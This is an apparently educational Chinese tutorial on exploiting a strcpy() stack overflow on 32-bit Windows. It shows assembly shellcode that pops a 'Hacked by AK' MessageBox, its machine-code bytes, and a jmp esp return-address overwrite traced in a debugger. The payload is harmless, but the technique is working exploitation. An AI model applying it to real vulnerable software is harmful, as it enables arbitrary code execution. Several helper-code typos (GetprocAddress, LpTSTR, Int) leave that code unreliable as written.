栈溢出shellcode编写

目标是利用栈溢出漏洞,编写shellcode,弹出MessageBox

首先需要获取MessageBox的地址,位于user32.dll中,代码如下

#include <windows.h>
#include <stdio.h>
typedef void (*MYpROC)(LpTSTR);
int main()
{ 
        HINSTANCE LibHandle;
        MYpROC procAdd;
        LibHandle = LoadLibrary("user32");
        //获取user32.dll的地址
        printf("user32 = 0x%x", LibHandle);
        //获取的地址
        procAdd=(MYpROC)GetprocAddress(LibHandle,"MessageBoxA");
        printf("MessageBoxA = 0x%x", procAdd);
        getchar();
        return 0;
}

运行

栈溢出操作破坏了原来的栈空间,可能在显示完MessageBox后程序崩溃,所以需要在对话框结束后使用ExitProcess()来结束程序

ExitProcess()地址查找代码

#include <windows.h>
#include <stdio.h>
typedef void (*MYpROC)(LpTSTR);
Int main()
{
        HINSTANCE LibHandle;
        MYpROC procAdd;
        LibHandle = LoadLibrary("kernel32");
        //获取kernel32.dll的地址
        printf("kernel32 = 0x%x", LibHandle);
        //获取Exitprocess的地址
        procAdd=(MYpROC)GetprocAddress(LibHandle,"Exitprocess");
        printf("Exitprocess = 0x%x", procAdd);
        getchar();
        return 0;
}

运行找到ExitProcess地址

至此,记录这两个重要地址

MessageBox = 0x77d507ea

ExitProcess = 0x7c81bfa2

接下来使用汇编写shellcode

使用xssee等工具对字符转成ASCII码,格式为前边加\x的shellcode

然后四个一组,不全的\x20(空格)补齐,不使用\x00(空)补齐是因为使用的strcpy()溢出漏洞,\x00在strcpy()中意味着字符串结束,不再拷贝后续内容

\x46\x42\x49\x20

\x57\x61\x72\x6e

\x69\x6e\x67\x20 //FBI Warning

\x48\x61\x63\x6b

\x65\x64\x20\x62

\x79\x20\x41\x4b    //Hacked by AK

变为汇编需要小端序倒序,然后使用push命令入栈

push 0x20676e69

push 0x6e726157

push 0x20494246    //push “FBI Warning”

push 0x4b412079

push 0x62206465

push 0x6b636148    //push “Hacked by AK”

入栈之后利用esp栈帧进行字符调用和操作,使用一个空字符进行截断以区分两个字符串

push 0x20676e69

push 0x6e726157

push 0x20494246    //push “FBI Warning”

mov eax, esp

push 0             //截断字符串,区分title和message

push 0x4b412079

push 0x62206465

push 0x6b636148    //push “Hacked by AK”

mov ecx, esp

根据以上代码和地址等重要信息整理得到asm代码

int main()
{
   _asm{
      sub esp,0x50       //init stack size
      xor ebx,ebx
      push ebx           //split string

      push 0x20676e69
      push 0x6e726157
      push 0x20494246    // push "FBI Warning"
      mov eax,esp

      push ebx           // split string

      push 0x4b412079
      push 0x62206465
      push 0x6b636148    //push “Hacked by AK”
      mov ecx,esp        

      push ebx
      push eax
      push ecx
      push ebx
      mov eax,0x77d507ea
      call eax           // call MessageBox

      push ebx
      mov eax, 0x7c81bfa2
      call eax            // call ExitProcess
   }
 return 0;
}

在程序开始处下断点下一步需要获取shellcode的机器码

点击F5运行至断点,然后点击Disassemble按钮获取机器码

如果看不到机器码,右键选择Code Bytes

将所有的机器码复制出来变为shellcode,加\x以及英文双引号”,例如得到的部分机器码

“\x68\x69\x6E\x67\x20”

“\x68\x57\x61\x72\x6e”

“\x68\x46\x42\x49\x20”   //push “FBI Warning

“\x68\x79\x20\x41\x4B”

“\x68\x65\x64\x20\x62”

“\x68\x48\x61\x63\x6B”   //push “Hacked by AK”

然后拼接上一个jmp esp地址,之后填写栈空间的payload内容拼接后的shellcode payload如下,注意先使用\x41(A)*N造成溢出和填充ebp

因为需要弹窗MessageBox,所以main()函数调用user32.dll

注意头文件的引用中加入 windows.h

代码编写结束后执行,可以看到打印输出的payload内容,以及弹出的MessageBox

使用OD载入编写的程序

在调用到strcpy()之前,栈空间的内容是正常的,0x0012FF84内容也是正确的程序返回地址

然后调用strcpy()将shellcode写入栈空间后,可以看到这部分栈已经被写入shellcode代码

当调用结束,要返回main函数时,即执行到retn语句时

返回地址变成了advapi32.dll中某一条jmp esp指令的地址0x77e35b79

F8单步执行后,程序来到advapi32.dll程序领空,指向jmp esp这一条指令

而此时的esp值为0x0012FF88

F8执行后,程序来到0x0012FF88地址,这一部分代码已经被shellcode覆盖

执行shellcode,第一个call成功调用MessageBox并弹窗

点击确定后程序继续执行,并执行ExitProcess成功退出,没有造成程序崩溃,至此shellcode在栈溢出漏洞中成功利用

您可能还喜欢...